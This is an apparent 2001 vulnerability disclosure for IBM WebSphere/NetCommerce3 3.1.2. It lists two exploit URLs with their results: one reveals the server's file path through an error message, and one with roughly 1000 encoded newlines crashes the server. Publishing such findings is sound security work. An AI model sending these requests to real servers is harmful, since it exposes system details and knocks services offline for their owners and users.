PRODUCT: IBM Websphere/NetCommerce3
vERSION: 3.1.2 , posibly others (Unix, and NT)
+PATH REVEALING PROBLEM
Exploit:
http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK
Result:
DTWP029E: Net.Data is unable to locate the HTML block NOEXISTINGHTMLBLOCK
in file /usr/NetCommerce3/macros/en_US/macro.d2w
+DoS with Long URL
Exploit:
http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a..(aprox 1000)..%0a
On UNIX and NT Netcommerce will crash:
Server Not Responding
[-----------------------------------------------------------------------]
Efrain 'ET' Torres
[EMAIL PROTECTED]
[LoWNOISE] Colombia 2001
